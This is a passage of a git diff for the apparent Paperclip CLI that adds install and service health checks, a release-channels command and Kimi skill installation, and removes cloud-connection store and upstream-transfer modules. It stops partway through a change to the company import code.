00000000000..3f1447a4e77 --- /dev/null +++ b/cli/src/checks/managed-install-check.ts @@ -0,0 +1,168 @@ +import fs from "node:fs"; +import path from "node:path"; +import { + MANAGED_SHIM_MARKER, + readInstallManifest, + resolveInstallStorePaths, + type InstallStorePaths, +} from "../install-store.js"; +import type { CheckResult } from "./index.js"; +import { isSupportedNodeVersion, MINIMUM_NODE_VERSION } from "@paperclipai/shared/node-version"; + +function pathContains(directory: string): boolean { + const normalized = path.resolve(directory); + return (process.env.PATH ?? "") + .split(path.delimiter) + .filter(Boolean) + .some((entry) => path.resolve(entry) === normalized); +} + +function hasManagedArtifacts(paths: InstallStorePaths): boolean { + const persistentArtifacts = [ + paths.manifestPath, + paths.markerPath, + paths.currentPath, + paths.shimPath, + ].some((entry) => fs.existsSync(entry)); + if (persistentArtifacts) return true; + try { + return fs.readdirSync(paths.installsRoot).length > 0; + } catch (error) { + if ((error as NodeJS.ErrnoException).code === "ENOENT") return false; + return true; + } +} + +export function nodeRuntimeCheck(): CheckResult { + return isSupportedNodeVersion(process.versions.node) + ? { name: "Node.js runtime", status: "pass", message: `Node.js ${process.versions.node}` } + : { + name: "Node.js runtime", + status: "fail", + message: `Node.js ${process.versions.node} is unsupported`, + repairHint: `Install Node.js ${MINIMUM_NODE_VERSION} or newer before installing or running Paperclip`, + }; +} + +export function managedInstallChecks( + paths = resolveInstallStorePaths(), +): CheckResult[] { + if (!hasManagedArtifacts(paths)) { + return [ + { + name: "Managed install", + status: "pass", + message: "Not present (optional for npx, global npm, and source-checkout usage)", + }, + ]; + } + + let manifest; + try { + manifest = readInstallManifest(paths); + } catch (error) { + return [ + { + name: "Managed install manifest", + status: "fail", + message: error instanceof Error ? error.message : String(error), + repairHint: "Re-run `paperclipai install` to rebuild the managed install metadata", + }, + ]; + } + + if (!manifest) { + return [ + { + name: "Managed install manifest", + status: "fail", + message: `Managed install artifacts exist but ${paths.manifestPath} is missing`, + repairHint: "Re-run `paperclipai install`", + }, + ]; + } + + const results: CheckResult[] = []; + const payloadPath = path.resolve(manifest.payloadPath); + const relativePayload = path.relative(paths.installsRoot, payloadPath); + const payloadInStore = Boolean(relativePayload) && !relativePayload.startsWith("..") && !path.isAbsolute(relativePayload); + const payloadExists = payloadInStore && fs.existsSync(payloadPath) && fs.statSync(payloadPath).isDirectory(); + let currentMatches = false; + try { + currentMatches = fs.lstatSync(paths.currentPath).isSymbolicLink() + && fs.realpathSync(paths.currentPath) === fs.realpathSync(payloadPath); + } catch { + currentMatches = false; + } + + results.push( + payloadExists && currentMatches + ? { + name: "Managed install store", + status: "pass", + message: `${manifest.source} ${manifest.version} is active`, + } + : { + name: "Managed install store", + status: "fail", + message: !payloadExists + ? `Manifest payload is missing or outside the install store: ${manifest.payloadPath}` + : `Current link does not point to ${manifest.payloadPath}`, + repairHint: "Re-run `paperclipai install` or roll back to a retained payload", + }, + ); + + let shimValid = false; + try { + shimValid = fs.readFileSync(paths.shimPath, "utf8").includes(MANAGED_SHIM_MARKER); + } catch { + shimValid = false; + } + results.push( + shimValid + ? { name: "Managed install shim", status: "pass", message: paths.shimPath } + : { + name: "Managed install shim", + status: "fail", + message: `Missing or unrecognized shim at ${paths.shimPath}`, + repairHint: "Re-run `paperclipai install`", + }, + ); + + const shimDirectory = path.dirname(paths.shimPath); + results.push( + pathContains(shimDirectory) + ? { name: "Managed install PATH", status: "pass", message: `${shimDirectory} is on PATH` } + : { + name: "Managed install PATH", + status: "warn", + message: `${shimDirectory} is not on PATH`, + repairHint: 'Run `export PATH="$HOME/.local/bin:$PATH"` and add it to your shell startup file', + }, + ); + + const retained = new Set( + [manifest, ...manifest.previous].map((record) => path.resolve(record.payloadPath)), + ); + const orphaned: string[] = []; + for (const source of ["npm", "git"] as const) { + const sourceRoot = path.join(paths.installsRoot, source); + if (!fs.existsSync(sourceRoot)) continue; + for (const entry of fs.readdirSync(sourceRoot)) { + const candidate = path.join(sourceRoot, entry); + if (!entry.startsWith(".") && !retained.has(path.resolve(candidate))) orphaned.push(candidate); + } + } + results.push( + orphaned.length === 0 + ? { name: "Managed install retention", status: "pass", message: "No orphaned payloads" } + : { + name: "Managed install retention", + status: "warn", + message: `${orphaned.length} orphaned payload${orphaned.length === 1 ? "" : "s"} found`, + repairHint: "A successful `paperclipai update` prunes unretained payloads", + }, + ); + + return results; +} diff --git a/cli/src/checks/service-health-check.ts b/cli/src/checks/service-health-check.ts new file mode 100644 index 00000000000..5a4aadd6db8 --- /dev/null +++ b/cli/src/checks/service-health-check.ts @@ -0,0 +1,166 @@ +import fs from "node:fs/promises"; +import path from "node:path"; +import type { PaperclipConfig } from "../config/schema.js"; +import { resolvePaperclipInstanceId } from "../config/home.js"; +import { readInstallManifest, resolveInstallStorePaths } from "../install-store.js"; +import { + detectServiceManager, + isExecutableFile, + resolveServiceShimPath, + type ServiceManagerDetection, +} from "../services/service-manager.js"; +import { buildLocalHealthUrl } from "../utils/health-url.js"; +import type { CheckResult } from "./index.js"; + +type HealthResult = { ok: boolean; version: string | null; error?: string }; +type ServiceCheckDependencies = { + detect: (instanceId: string) => Promise; + probe: (config: PaperclipConfig) => Promise; + shimPresent: (executablePath: string) => Promise; +}; + +async function probeHealth(config: PaperclipConfig): Promise { + try { + const response = await fetch(buildLocalHealthUrl(config.server.host, config.server.port), { + signal: AbortSignal.timeout(2_000), + }); + const body = (await response.json()) as { + status?: unknown; + serverVersion?: unknown; + version?: unknown; + }; + const version = typeof body.serverVersion === "string" + ? body.serverVersion + : typeof body.version === "string" + ? body.version + : null; + return { ok: response.ok && body.status === "ok", version }; + } catch (error) { + return { ok: false, version: null, error: error instanceof Error ? error.message : String(error) }; + } +} + +export async function serviceHealthChecks( + config: PaperclipConfig, + dependencies: Partial = {}, +): Promise { + if (process.env.PAPERCLIP_SERVICE_MANAGED === "1") return []; + + const deps: ServiceCheckDependencies = { + detect: (instanceId) => detectServiceManager({ instanceId }), + probe: probeHealth, + shimPresent: (executablePath) => isExecutableFile(executablePath), + ...dependencies, + }; + const instanceId = resolvePaperclipInstanceId(); + const detection = await deps.detect(instanceId); + if (!detection.supported) { + return [{ name: "Background service", status: "pass", message: detection.reason }]; + } + + const manager = detection.manager; + const status = await manager.status(); + if (!status.installed) { + return [ + { + name: "Background service", + status: "pass", + message: `Not installed for instance ${instanceId} (optional)`, + }, + ]; + } + + const results: CheckResult[] = []; + let definitionCurrent = false; + try { + definitionCurrent = (await fs.readFile(manager.definitionPath, "utf8")) === manager.renderDefinition(); + } catch { + definitionCurrent = false; + } + results.push( + definitionCurrent + ? { name: "Service definition", status: "pass", message: manager.definitionPath } + : { + name: "Service definition", + status: "fail", + message: `Missing or drifted definition at ${manager.definitionPath}`, + repairHint: "Run `paperclipai service install` to regenerate the service definition", + }, + ); + + const health = await deps.probe(config); + // The installed definition is the truth about what the service executes; + // fall back to the environment-derived path only when it is unreadable. + const serviceExecutable = (await manager.installedExecutablePath()) ?? resolveServiceShimPath(); + const shimPresent = status.active ? true : await deps.shimPresent(serviceExecutable); + results.push( + status.active + ? { name: "Service runtime", status: "pass", message: `${status.serviceName} is active` } + : !shimPresent + ? { + name: "Service runtime", + status: "fail", + message: `${status.serviceName} cannot start: no executable exists at ${serviceExecutable}`, + repairHint: + path.resolve(serviceExecutable) === path.resolve(resolveInstallStorePaths().shimPath) + ? "Run `paperclipai install` to restore the managed payload and shim, then `paperclipai service start`" + : `Restore the executable at ${serviceExecutable}, or unset PAPERCLIP_SHIM_PATH and run \`paperclipai install\` followed by \`paperclipai service install\` to re-point the service at the managed shim`, + } + : health.ok + ? { + name: "Service runtime", + status: "fail", + message: `${status.serviceName} is inactive but the configured port is serving another Paperclip process`, + repairHint: "Run `paperclipai service start`, or stop the conflicting foreground process first", + } + : { + name: "Service runtime", + status: "fail", + message: `${status.serviceName} is ${status.detail ?? "inactive"}`, + repairHint: "Run `paperclipai service start`; inspect `paperclipai service logs` if it does not stay up", + }, + ); + + let expectedVersion: string | null = null; + try { + expectedVersion = readInstallManifest()?.version ?? null; + } catch {} + results.push( + !health.ok + ? { + name: "Service health", + status: "fail", + message: health.error ?? "Health endpoint did not report ok", + repairHint: "Inspect `paperclipai service status` and `paperclipai service logs`", + } + : expectedVersion && health.version !== expectedVersion + ? { + name: "Service version", + status: "fail", + message: `Running ${health.version ?? "unknown"}; managed install is ${expectedVersion}`, + repairHint: "Run `paperclipai service restart --expected-version " + expectedVersion + "`", + } + : status.active + ? { + name: "Service health", + status: "pass", + message: `Healthy${health.version ? ` at version ${health.version}` : ""}`, + } + : { + name: "Service health", + status: "warn", + message: `The configured port answers healthy${health.version ? ` (version ${health.version})` : ""}, but not from ${status.serviceName} — the service is inactive`, + }, + ); + + if (status.enabled && status.linger === false) { + results.push({ + name: "Service linger", + status: "warn", + message: "Start-on-login is enabled but systemd user lingering is off", + repairHint: "Re-run `paperclipai service install --enable-linger` if the service must survive logout", + }); + } + + return results; +} diff --git a/cli/src/client/http.ts b/cli/src/client/http.ts index fe7abb748c0..dd4f784776d 100644 --- a/cli/src/client/http.ts +++ b/cli/src/client/http.ts @@ -88,6 +88,15 @@ export class PaperclipApiClient { }, opts); } + /** Raw binary upload (e.g. one chunked import-transfer part); the body travels as-is. */ + putRaw(path: string, body: Uint8Array, opts?: RequestOptions): Promise { + return this.request(path, { + method: "PUT", + body: body as unknown as BodyInit, + headers: { "content-type": "application/octet-stream" }, + }, opts); + } + delete(path: string, opts?: RequestOptions): Promise { return this.request(path, { method: "DELETE" }, opts); } @@ -224,7 +233,7 @@ function buildConnectionErrorMessage(input: { "This usually means the Paperclip server is not running, the configured URL is wrong, or the request is being blocked before it reaches Paperclip.", "", "Try:", - "- Start Paperclip with `pnpm dev` or `pnpm paperclipai run`.", + "- Start Paperclip with `pnpm dev` (from a source checkout) or `npx paperclipai run`.", `- Verify the server is reachable with \`curl ${healthUrl}\`.`, `- If Paperclip is running elsewhere, pass \`--api-base ${input.apiBase.replace(/\/+$/, "")}\` or set \`PAPERCLIP_API_URL\`.`, ); diff --git a/cli/src/commands/channels.ts b/cli/src/commands/channels.ts new file mode 100644 index 00000000000..3fe211b4957 --- /dev/null +++ b/cli/src/commands/channels.ts @@ -0,0 +1,119 @@ +import { execFile } from "node:child_process"; +import { promisify } from "node:util"; +import pc from "picocolors"; +import { resolvePublishedVersion, type CommandRunner } from "./install.js"; +import { packageVersion } from "../version.js"; + +const execFileAsync = promisify(execFile); + +const defaultRunCommand: CommandRunner = (command, args, options) => + execFileAsync(command, args, { ...options, encoding: "utf8" }); + +export type ChannelName = "stable" | "beta" | "nightly" | "canary"; + +export type ChannelDescriptor = { + channel: ChannelName; + distTag: string; + cadence: string; + audience: string; +}; + +// Ordered from most to least stable — the order users should consider them. +export const RELEASE_CHANNELS: readonly ChannelDescriptor[] = [ + { + channel: "stable", + distTag: "latest", + cadence: "manual, soaked in beta for 3+ days", + audience: "the recommended release for almost everyone", + }, + { + channel: "beta", + distTag: "beta", + cadence: "manual promotion behind an approval gate", + audience: "release candidates: what stable becomes a few days later", + }, + { + channel: "nightly", + distTag: "nightly", + cadence: "once a night, smoke-gated", + audience: "yesterday's merges, tested as a unit", + }, + { + channel: "canary", + distTag: "canary", + cadence: "every merge to master", + audience: "the bleeding edge", + }, +]; + +const CALVER_RE = /^\d{4}\.\d{1,4}\.\d+$/; +const PRERELEASE_RE = /^\d{4}\.\d{1,4}\.\d+-(canary|nightly|beta)\.\d+$/; + +// Published versions carry their lane in the version string; the source +// checkout's package.json holds a placeholder that matches neither form. +export function channelForVersion(version: string): ChannelName | "unknown" { + const prerelease = version.match(PRERELEASE_RE); + if (prerelease) return prerelease[1] as ChannelName; + if (CALVER_RE.test(version)) return "stable"; + return "unknown"; +} + +export type ChannelState = ChannelDescriptor & { version: string | null }; + +export async function collectChannelState( + runCommand: CommandRunner = defaultRunCommand, +): Promise { + const resolved = await Promise.allSettled( + RELEASE_CHANNELS.map((entry) => resolvePublishedVersion(entry.distTag, runCommand)), + ); + return RELEASE_CHANNELS.map((entry, index) => { + const outcome = resolved[index]; + return { + ...entry, + version: outcome.status === "fulfilled" ? outcome.value : null, + }; + }); +} + +export type ChannelsOptions = { json?: boolean }; + +export async function channelsCommand( + options: ChannelsOptions = {}, + runCommand: CommandRunner = defaultRunCommand, +): Promise { + const state = await collectChannelState(runCommand); + const currentChannel = channelForVersion(packageVersion); + + if (options.json) { + console.log( + JSON.stringify( + { + current: { version: packageVersion, channel: currentChannel }, + channels: state, + }, + null, + 2, + ), + ); + return; + } + + console.log(pc.bold("Paperclip release channels")); + console.log(""); + for (const entry of state) { + const version = entry.version ?? pc.yellow("unavailable"); + console.log(` ${pc.bold(entry.channel.padEnd(8))} ${version}`); + console.log(` ${" ".repeat(8)} ${pc.dim(`${entry.cadence} — ${entry.audience}`)}`); + console.log(` ${" ".repeat(8)} ${pc.dim(`npx paperclipai@${entry.distTag} onboard`)}`); + console.log(""); + } + + if (currentChannel === "unknown") { + console.log( + `This install reports version ${pc.bold(packageVersion)}, which does not map to a published channel (source checkouts report the repository placeholder).`, + ); + } else { + console.log(`This install is version ${pc.bold(packageVersion)} on the ${pc.bold(currentChannel)} channel.`); + } + console.log(`Docker images use the same names: ghcr.io/paperclipai/paperclip:{latest,beta,nightly,canary}`); +} diff --git a/cli/src/commands/client/agent.ts b/cli/src/commands/client/agent.ts index 8144352c491..3f81da6c6b3 100644 --- a/cli/src/commands/client/agent.ts +++ b/cli/src/commands/client/agent.ts @@ -71,6 +71,7 @@ interface AgentResetSessionOptions extends BaseClientOptions { interface AgentSkillsSyncOptions extends BaseClientOptions { desiredSkills: string; + mode: string; } interface AgentInstructionsFileOptions extends BaseClientOptions { @@ -92,7 +93,7 @@ interface CreatedAgentKey { } interface SkillsInstallSummary { - tool: "codex" | "claude"; + tool: "codex" | "claude" | "kimi"; target: string; linked: string[]; removed: string[]; @@ -114,10 +115,16 @@ function claudeSkillsHome(): string { return path.join(base, "skills"); } +function kimiSkillsHome(): string { + const fromEnv = process.env.KIMI_CODE_HOME?.trim(); + const base = fromEnv && fromEnv.length > 0 ? fromEnv : path.join(os.homedir(), ".kimi-code"); + return path.join(base, "skills"); +} + async function installSkillsForTarget( sourceSkillsDir: string, targetSkillsDir: string, - tool: "codex" | "claude", + tool: "codex" | "claude" | "kimi", ): Promise { const summary: SkillsInstallSummary = { tool, @@ -589,10 +596,17 @@ export function registerAgentCommands(program: Command): void { .description("Sync desired skills onto an agent") .argument("", "Agent ID") .requiredOption("--desired-skills ", "Desired skill names") + .requiredOption( + "--mode ", + "Merge mode: add keeps other skills; remove deletes only named skills; replace destructively overwrites the complete set", + ) .action(async (agentId: string, opts: AgentSkillsSyncOptions) => { try { const ctx = resolveCommandContext(opts); - const payload = agentSkillSyncSchema.parse({ desiredSkills: parseCsv(opts.desiredSkills) }); + const payload = agentSkillSyncSchema.parse({ + desiredSkills: parseCsv(opts.desiredSkills), + mode: opts.mode, + }); const result = await ctx.api.post(apiPath`/api/agents/${agentId}/skills/sync`, payload); printOutput(result, { json: ctx.json }); } catch (err) { @@ -763,7 +777,7 @@ export function registerAgentCommands(program: Command): void { .option("--key-name ", "API key label", "local-cli") .option( "--no-install-skills", - "Skip installing Paperclip skills into ~/.codex/skills and ~/.claude/skills", + "Skip installing Paperclip skills into ~/.codex/skills, ~/.claude/skills, and ~/.kimi-code/skills", ) .action(async (agentRef: string, opts: AgentLocalCliOptions) => { try { @@ -795,6 +809,7 @@ export function registerAgentCommands(program: Command): void { installSummaries.push( await installSkillsForTarget(skillsDir, codexSkillsHome(), "codex"), await installSkillsForTarget(skillsDir, claudeSkillsHome(), "claude"), + await installSkillsForTarget(skillsDir, kimiSkillsHome(), "kimi"), ); } diff --git a/cli/src/commands/client/cloud-store.ts b/cli/src/commands/client/cloud-store.ts deleted file mode 100644 index fa63c7133b0..00000000000 --- a/cli/src/commands/client/cloud-store.ts +++ /dev/null @@ -1,177 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { resolvePaperclipInstanceRoot } from "../../config/home.js"; - -export interface CloudConnectionTokenRecord { - id: string; - companyStackId: string; - targetOrigin: string; - sourceInstanceId: string; - sourceInstanceFingerprint: string; - scopes: string[]; - expiresAt: string; - [key: string]: unknown; -} - -export interface CloudConnection { - id: string; - remoteUrl: string; - targetOrigin: string; - targetHost: string; - stackId: string; - stackSlug?: string | null; - stackDisplayName?: string | null; - targetCompanyId: string; - accessToken: string; - token: CloudConnectionTokenRecord; - privateKeyPem: string; - sourcePublicKey: string; - sourceInstanceId: string; - sourceInstanceFingerprint: string; - scopes: string[]; - createdAt: string; - updatedAt: string; -} - -interface CloudConnectionStore { - version: 1; - connections: Record; - currentConnectionId?: string; -} - -function defaultStore(): CloudConnectionStore { - return { - version: 1, - connections: {}, - }; -} - -export function resolveCloudConnectionStorePath(): string { - return path.resolve(resolvePaperclipInstanceRoot(), "secrets", "cloud-upstream-connections.json"); -} - -export function readCloudConnectionStore(storePath = resolveCloudConnectionStorePath()): CloudConnectionStore { - if (!fs.existsSync(storePath)) return defaultStore(); - const raw = JSON.parse(fs.readFileSync(storePath, "utf8")) as Partial | null; - const connections: Record = {}; - if (raw?.connections && typeof raw.connections === "object") { - for (const [id, value] of Object.entries(raw.connections)) { - const normalized = normalizeConnection(value); - if (normalized) connections[id] = normalized; - } - } - const currentConnectionId = - typeof raw?.currentConnectionId === "string" && connections[raw.currentConnectionId] - ? raw.currentConnectionId - : Object.values(connections).sort((left, right) => right.updatedAt.localeCompare(left.updatedAt))[0]?.id; - return { - version: 1, - connections, - currentConnectionId, - }; -} - -export function writeCloudConnectionStore( - store: CloudConnectionStore, - storePath = resolveCloudConnectionStorePath(), -): void { - fs.mkdirSync(path.dirname(storePath), { recursive: true }); - fs.writeFileSync(storePath, `${JSON.stringify(store, null, 2)}\n`, { mode: 0o600 }); -} - -export function upsertCloudConnection( - connection: CloudConnection, - storePath = resolveCloudConnectionStorePath(), -): CloudConnection { - const store = readCloudConnectionStore(storePath); - const existing = store.connections[connection.id]; - const now = new Date().toISOString(); - const next = { - ...connection, - createdAt: existing?.createdAt ?? connection.createdAt ?? now, - updatedAt: now, - }; - store.connections[next.id] = next; - store.currentConnectionId = next.id; - writeCloudConnectionStore(store, storePath); - return next; -} - -export function getCloudConnection( - remoteUrlOrOrigin?: string, - storePath = resolveCloudConnectionStorePath(), -): CloudConnection | null { - const store = readCloudConnectionStore(storePath); - if (remoteUrlOrOrigin?.trim()) { - const needle = normalizeRemoteLookup(remoteUrlOrOrigin); - return Object.values(store.connections).find((connection) => - normalizeRemoteLookup(connection.remoteUrl) === needle || - normalizeRemoteLookup(connection.targetOrigin) === needle - ) ?? null; - } - return store.currentConnectionId ? store.connections[store.currentConnectionId] ?? null : null; -} - -function normalizeRemoteLookup(value: string): string { - try { - const url = new URL(value); - return url.origin.replace(/\/+$/u, ""); - } catch { - return value.trim().replace(/\/+$/u, ""); - } -} - -function normalizeConnection(value: unknown): CloudConnection | null { - if (typeof value !== "object" || value === null || Array.isArray(value)) return null; - const record = value as Record; - const id = stringValue(record.id); - const remoteUrl = stringValue(record.remoteUrl); - const targetOrigin = stringValue(record.targetOrigin); - const targetHost = stringValue(record.targetHost); - const stackId = stringValue(record.stackId); - const targetCompanyId = stringValue(record.targetCompanyId); - const accessToken = stringValue(record.accessToken); - const token = typeof record.token === "object" && record.token !== null && !Array.isArray(record.token) - ? record.token as CloudConnectionTokenRecord - : null; - const privateKeyPem = stringValue(record.privateKeyPem); - const sourcePublicKey = stringValue(record.sourcePublicKey); - const sourceInstanceId = stringValue(record.sourceInstanceId); - const sourceInstanceFingerprint = stringValue(record.sourceInstanceFingerprint); - const createdAt = stringValue(record.createdAt); - const updatedAt = stringValue(record.updatedAt); - if ( - !id || !remoteUrl || !targetOrigin || !targetHost || !stackId || !targetCompanyId || - !accessToken || !token || !privateKeyPem || !sourcePublicKey || !sourceInstanceId || - !sourceInstanceFingerprint || !createdAt || !updatedAt - ) { - return null; - } - return { - id, - remoteUrl, - targetOrigin, - targetHost, - stackId, - stackSlug: stringValue(record.stackSlug), - stackDisplayName: stringValue(record.stackDisplayName), - targetCompanyId, - accessToken, - token, - privateKeyPem, - sourcePublicKey, - sourceInstanceId, - sourceInstanceFingerprint, - scopes: stringArray(record.scopes), - createdAt, - updatedAt, - }; -} - -function stringValue(value: unknown): string | null { - return typeof value === "string" && value.trim().length > 0 ? value.trim() : null; -} - -function stringArray(value: unknown): string[] { - return Array.isArray(value) ? value.filter((entry): entry is string => typeof entry === "string") : []; -} diff --git a/cli/src/commands/client/cloud-transfer.ts b/cli/src/commands/client/cloud-transfer.ts deleted file mode 100644 index 9cd1ccbe74a..00000000000 --- a/cli/src/commands/client/cloud-transfer.ts +++ /dev/null @@ -1,297 +0,0 @@ -import { createHash } from "node:crypto"; - -export const upstreamTransferSchema = { - family: "paperclip-upstream-transfer", - version: "1.0.0", - major: 1, - minor: 0, -} as const; - -export type NormalizedSha256 = `sha256:${string}`; - -export interface SourceEntityKey { - sourceInstanceId: string; - sourceCompanyId: string; - sourceEntityType: string; - sourceEntityId: string; - sourceNaturalKey?: string; -} - -export interface UpstreamTransferWarning { - code: string; - severity: "info" | "warning" | "blocker"; - message: string; - entity?: SourceEntityKey; -} - -export interface UpstreamTransferEntityRecord { - key: SourceEntityKey; - contentHash: NormalizedSha256; - dependencies: SourceEntityKey[]; - warnings: UpstreamTransferWarning[]; -} - -export interface UpstreamTransferManifestSource { - sourceInstanceId: string; - sourceCompanyId: string; - sourceInstanceKeyFingerprint: string; - exporterVersion: string; - sourceSchemaVersion: string; -} - -export interface UpstreamTransferManifestTarget { - targetStackId: string; - targetCompanyId: string; - targetOrigin: string; - supportedSchemaMajor: number; -} - -export interface UpstreamTransferChunk { - chunkIndex: number; - totalChunks: number; - byteLength: number; - sha256: NormalizedSha256; - manifestHash: NormalizedSha256; -} - -export interface UpstreamTransferManifest { - schema: typeof upstreamTransferSchema; - source: UpstreamTransferManifestSource; - target: UpstreamTransferManifestTarget; - runId: string; - idempotencyKey: string; - generatedAt: string; - entityCount: number; - entities: UpstreamTransferEntityRecord[]; - chunks: UpstreamTransferChunk[]; - warnings: UpstreamTransferWarning[]; - featureFlags: string[]; - manifestHash: NormalizedSha256; -} - -export interface LocalUpstreamExportEntityInput { - key: SourceEntityKey; - body: Record; - dependencies?: SourceEntityKey[]; - warnings?: UpstreamTransferWarning[]; - conflictKeys?: string[]; -} - -export interface LocalUpstreamExportEntity { - record: UpstreamTransferEntityRecord; - body: Record; - conflictKeys?: string[]; -} - -export interface LocalUpstreamExportChunk { - chunkIndex: number; - totalChunks: number; - byteLength: number; - sha256: NormalizedSha256; - payload: { - entityKeys: SourceEntityKey[]; - }; -} - -export interface LocalUpstreamExportBundle { - manifest: UpstreamTransferManifest; - entities: LocalUpstreamExportEntity[]; - chunks: LocalUpstreamExportChunk[]; -} - -export interface BuildLocalUpstreamExportBundleInput { - source: UpstreamTransferManifestSource; - target: UpstreamTransferManifestTarget; - runId: string; - idempotencyKey: string; - entities: LocalUpstreamExportEntityInput[]; - warnings?: UpstreamTransferWarning[]; - featureFlags?: string[]; - maxEntitiesPerChunk?: number; -} - -export interface LocalUpstreamPushCoordinatorOptions { - targetOrigin: string; - paperclipCompanyId: string; - fetch?: typeof fetch; - headers?: (input: { method: string; path: string }) => HeadersInit | Promise; -} - -export class UpstreamImportRequestError extends Error { - readonly status: number; - readonly body: unknown; - - constructor(status: number, message: string, body: unknown) { - super(message); - this.status = status; - this.body = body; - } -} - -export class LocalUpstreamPushCoordinator { - readonly #targetOrigin: string; - readonly #paperclipCompanyId: string; - readonly #fetch: typeof fetch; - readonly #headers: NonNullable; - - constructor(options: LocalUpstreamPushCoordinatorOptions) { - this.#targetOrigin = options.targetOrigin.replace(/\/+$/u, ""); - this.#paperclipCompanyId = options.paperclipCompanyId; - this.#fetch = options.fetch ?? fetch; - this.#headers = options.headers ?? (() => ({})); - } - - async preview(bundle: LocalUpstreamExportBundle): Promise { - return this.post(`/api/companies/${encodeURIComponent(this.#paperclipCompanyId)}/upstream-imports/preview`, { - manifest: bundle.manifest, - entities: bundle.entities, - }); - } - - async apply(bundle: LocalUpstreamExportBundle): Promise { - const run = await this.post(`/api/companies/${encodeURIComponent(this.#paperclipCompanyId)}/upstream-imports/runs`, { - mode: "apply", - manifest: bundle.manifest, - entities: bundle.entities, - }) as { run?: { id?: unknown } }; - const runId = typeof run.run?.id === "string" ? run.run.id : undefined; - if (!runId) { - throw new Error("Remote upstream importer did not return a run id"); - } - - for (const chunk of bundle.chunks) { - await this.post(`/api/upstream-import-runs/${encodeURIComponent(runId)}/chunks`, chunk); - } - - return this.post(`/api/upstream-import-runs/${encodeURIComponent(runId)}/apply`, {}); - } - - async events(runId: string): Promise { - return this.get(`/api/upstream-import-runs/${encodeURIComponent(runId)}/events`); - } - - private async get(path: string): Promise { - const response = await this.#fetch(`${this.#targetOrigin}${path}`, { - method: "GET", - headers: await this.#headers({ method: "GET", path }), - }); - return parseCoordinatorResponse(response); - } - - private async post(path: string, body: unknown): Promise { - const response = await this.#fetch(`${this.#targetOrigin}${path}`, { - method: "POST", - headers: { - "Content-Type": "application/json", - ...(await this.#headers({ method: "POST", path })), - }, - body: JSON.stringify(body), - }); - return parseCoordinatorResponse(response); - } -} - -export function buildLocalUpstreamExportBundle( - input: BuildLocalUpstreamExportBundleInput, -): LocalUpstreamExportBundle { - const entities = input.entities.map((entity) => ({ - record: { - key: entity.key, - contentHash: normalizedContentHash(entity.body), - dependencies: entity.dependencies ?? [], - warnings: entity.warnings ?? [], - }, - body: entity.body, - conflictKeys: entity.conflictKeys, - })); - const chunks = buildLocalChunks(entities, input.maxEntitiesPerChunk ?? 100); - const manifestWithoutHash = { - schema: upstreamTransferSchema, - source: input.source, - target: input.target, - runId: input.runId, - idempotencyKey: input.idempotencyKey, - generatedAt: new Date(0).toISOString(), - entityCount: entities.length, - entities: entities.map((entity) => entity.record), - chunks: chunks.map(({ payload: _payload, ...chunk }) => chunk), - warnings: input.warnings ?? [], - featureFlags: (input.featureFlags ?? ["cloud_sync"]).slice().sort(), - }; - const manifestHash = normalizedContentHash(manifestWithoutHash); - return { - manifest: { - ...manifestWithoutHash, - chunks: manifestWithoutHash.chunks.map((chunk) => ({ ...chunk, manifestHash })), - manifestHash, - }, - entities, - chunks, - }; -} - -export function normalizedContentHash(value: unknown): NormalizedSha256 { - return `sha256:${createHash("sha256").update(canonicalJson(value)).digest("hex")}`; -} - -export function canonicalJson(value: unknown): string { - return JSON.stringify(sortJson(value)); -} - -function buildLocalChunks( - entities: LocalUpstreamExportEntity[], - maxEntitiesPerChunk: number, -): LocalUpstreamExportChunk[] { - if (!Number.isInteger(maxEntitiesPerChunk) || maxEntitiesPerChunk < 1) { - throw new Error("maxEntitiesPerChunk must be a positive integer"); - } - if (entities.length === 0) return []; - - const groups: LocalUpstreamExportEntity[][] = []; - for (let index = 0; index < entities.length; index += maxEntitiesPerChunk) { - groups.push(entities.slice(index, index + maxEntitiesPerChunk)); - } - - return groups.map((group, index) => { - const payload = { - entityKeys: group.map((entity) => entity.record.key), - }; - return { - chunkIndex: index, - totalChunks: groups.length, - byteLength: Buffer.byteLength(canonicalJson(payload)), - sha256: normalizedContentHash(payload), - payload, - }; - }); -} - -function sortJson(value: unknown): unknown { - if (Array.isArray(value)) return value.map(sortJson); - if (typeof value !== "object" || value === null) return value; - return Object.fromEntries( - Object.entries(value as Record) - .sort(([left], [right]) => left.localeCompare(right)) - .map(([key, entry]) => [key, sortJson(entry)]), - ); -} - -async function parseCoordinatorResponse(response: Response): Promise { - const text = await response.text(); - const parsed = text.trim() ? safeParseJson(text) : {}; - if (!response.ok) { - const message = typeof parsed === "object" && parsed !== null && "error" in parsed - ? String((parsed as { error: unknown }).error) - : `Upstream importer request failed with ${response.status}`; - throw new UpstreamImportRequestError(response.status, message, parsed); - } - return parsed; -} - -function safeParseJson(text: string): unknown { - try { - return JSON.parse(text); - } catch { - return text; - } -} diff --git a/cli/src/commands/client/company.ts b/cli/src/commands/client/company.ts index e8368ccf9dc..5deb822bd5e 100644 --- a/cli/src/commands/client/company.ts +++ b/cli/src/commands/client/company.ts @@ -1,4 +1,5 @@ import { Command } from "commander"; +import { createHash } from "node:crypto"; import { mkdir, readdir, readFile, stat, writeFile } from "node:fs/promises"; import path from "node:path"; import * as p from "@clack/prompts"; @@ -12,10 +13,25 @@ import type { CompanyPortabilityPreviewResult, CompanyPortabilityImportResult, } from "@paperclipai/shared"; +import { + buildAlreadyImportedMessage, + companyImportTransferApplyPath, + companyImportTransferPartPath, + companyImportTransferPreviewPath, + COMPANY_IMPORT_TRANSFERS_ROUTE_PATH, + type CompanyImportTransferCreated, + type CompanyImportTransferDeclaration, +} from "@paperclipai/shared/company-import-transfer"; import { getTelemetryClient, trackCompanyImported } from "../../telemetry.js"; -import { ApiRequestError } from "../../client/http.js"; +import { ApiRequestError, type PaperclipApiClient } from "../../client/http.js"; import { openUrl } from "../../client/board-auth.js"; -import { binaryContentTypeByExtension, readZipArchive } from "./zip.js"; +import { + binaryContentTypeByExtension, + bytesToPortableFileEntry, + createStoredZipArchive, + isBlobStorePath, + readZipArchive, +} from "./zip.js"; import { addCommonClientOptions, apiPath, @@ -140,16 +156,6 @@ type ImportSelectionState = { skills: Set; }; -function readPortableFileEntry(filePath: string, contents: Buffer): CompanyPortabilityFileEntry { - const contentType = binaryContentTypeByExtension[path.extname(filePath).toLowerCase()]; - if (!contentType) return contents.toString("utf8"); - return { - encoding: "base64", - data: contents.toString("base64"), - contentType, - }; -} - function portableFileEntryToWriteValue(entry: CompanyPortabilityFileEntry): string | 